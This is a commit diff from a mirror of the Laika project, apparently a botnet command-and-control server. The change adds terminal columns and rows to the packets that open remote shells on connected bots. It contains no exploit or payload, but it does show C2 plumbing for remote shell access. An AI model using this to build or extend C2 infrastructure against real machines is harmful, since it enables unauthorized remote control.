1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-11-17 01:30:08 +00:00

Added termsize 'cols & rows' to SHELL_OPEN packets

This commit is contained in:
2022-03-07 15:16:46 -06:00
parent d283b977d9
commit e1ce053aa8
11 changed files with 47 additions and 12 deletions

View File

@@ -161,7 +161,7 @@ struct sLaika_peerPacketInfo laikaC_authPktTbl[LAIKAPKT_MAXNONE] = {
DEFAULT_PKT_TBL,
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ,
laikaC_handleAuthenticatedShellOpen,
crypto_kx_PUBLICKEYBYTES,
crypto_kx_PUBLICKEYBYTES + sizeof(uint16_t) + sizeof(uint16_t),
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_SHELL_CLOSE,
laikaC_handleAuthenticatedShellClose,

View File

@@ -85,6 +85,7 @@ void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)uData;
struct sLaika_cnc *cnc = aInfo->info.cnc;
struct sLaika_peer *peer;
uint16_t cols, rows;
/* sanity check, make sure shell isn't already open */
if (aInfo->shellBot)
@@ -98,12 +99,19 @@ void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_
if (peer->type != PEER_BOT)
LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Requested peer isn't a bot!\n");
/* read term size */
laikaS_readInt(&authPeer->sock, &cols, sizeof(uint16_t));
laikaS_readInt(&authPeer->sock, &rows, sizeof(uint16_t));
/* link shells */
aInfo->shellBot = peer;
((struct sLaika_botInfo*)(peer->uData))->shellAuth = authPeer;
/* forward the request to open a shell */
laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_OPEN);
laikaS_startOutPacket(peer, LAIKAPKT_SHELL_OPEN);
laikaS_writeInt(&peer->sock, &cols, sizeof(uint16_t));
laikaS_writeInt(&peer->sock, &rows, sizeof(uint16_t));
laikaS_endOutPacket(peer);
}
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {